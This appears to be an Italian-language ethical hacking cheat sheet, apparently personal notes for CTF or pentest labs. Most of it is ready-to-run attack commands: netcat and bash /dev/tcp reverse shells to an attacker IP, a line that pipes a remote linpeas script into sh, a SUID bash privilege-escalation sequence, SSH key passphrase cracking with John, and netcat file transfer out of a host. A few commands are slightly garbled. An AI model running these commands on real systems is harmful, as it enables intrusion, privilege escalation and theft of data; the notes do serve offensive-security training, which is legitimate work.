

ETHICAL HACKING

Information Gathering

- Scaricare html: `curl -s http://www.example.com -o index.html`
- Info sul server: `whois example.com`
- Info su indirizzo ip:
 - `host example.com`
 - `ping 127.0.0.1`
- Scansione `nmap`
- Lanciare `gobuster` su `vhost` e `dir`:
 - `gobuster dir(vhost) -u http://example.com -w usr/share/.../wordlists.txt`

Reverse Shell

Shell:

- **netcat:**
 - attaccante: `nc -nvlp 9001`
 - vittima: `nc -nv 10.10.15.20 9001 -e /bin/bash`
- `bash -i >& /dev/tcp/10.10.15.20/9001 0>&1`
- `bash -c 'bash -i >& /dev/tcp/10.10.15.20/9001 0>&1'`

Siti:

- revshell.com
- pentestmonkey.net

Prompt migliore:

- `python3 -c 'import pty; pty.spawn("/bin/bash")'`
 - se non c'è python: `script -qc bash /dev/null`
- CTRL+Z
- `stty raw -echo; fg`
- Doppio invio
- `export TERM=xterm`
- `stty rown _num_ cols _num_`

EXTRA:

- Se non è possibile fare shell con `import os`: `__import__("os").system(...)`

Privilege Escalation

- `cat /etc /passwd | grep sh`
- `sudo -l`
- `ls -lah` (elenco file nella cartella con permessi)
- `ps -ef -forest` (vedo processi d'esecuzione)
- `ss -nt` (mostra tutte le connessioni TCP attive, con IP e porte)
- `ss -el` (mostra i servizi che stanno ascoltando su porte locali)
- `ss -tlnp`
- `curl 10.10.15.20:8000/linpeas.sh | sh | tee out.txt`

Passaggi se c'è SUID:

- `cp /bin/bash`
- `sudo chown root:root bash`
- `sudo chmod u+s bash`
- `./bash -p`

Exploit e CVE

- exploitdb
- advisory database (github)
- Payload all the things (da *Swissky's Lab* github)
- GTFObins
- geekforgeeks.org

John e Hashcat

- `example_hashcat` per vedere tipo di hash
- Se si ha chiave privata SSH e vogliamo passphrase:
 - `/usr/share/john/ssh2john.py trivia.key >trivia.key.hash`
 - `John trivia.key.hash -wordlist=rockyou.txt`

Trasferimento dati da M1 a M2

Metodo 1:

- **M1:** `python3 -m http.server 8000`
- **M2:** `wget http://ip\_M1:8000/file\_da\_trasferire`

Metodo 2:

- **M1:** `cat file | nc ip_M2 4000`

- **M2:** `nc -nvlp 4000`

Tunnelling

- `ssh -L 54321:127.0.0.1:54321 nome@host`

Base64

- **Codifica:** `echo -n “...” | base64 -w0`
- **Decodifica:** `echo -n “...” | base64 -d`

`Ssh-keygen -t ed25519 -f nome -N ‘pass’`

DOCKER

`Cat /etc/resolv.conf`

`Git-dumper variatype`

Per formattare e rimuovere \n: `sed -i ‘/\n/\n/g’ root_key`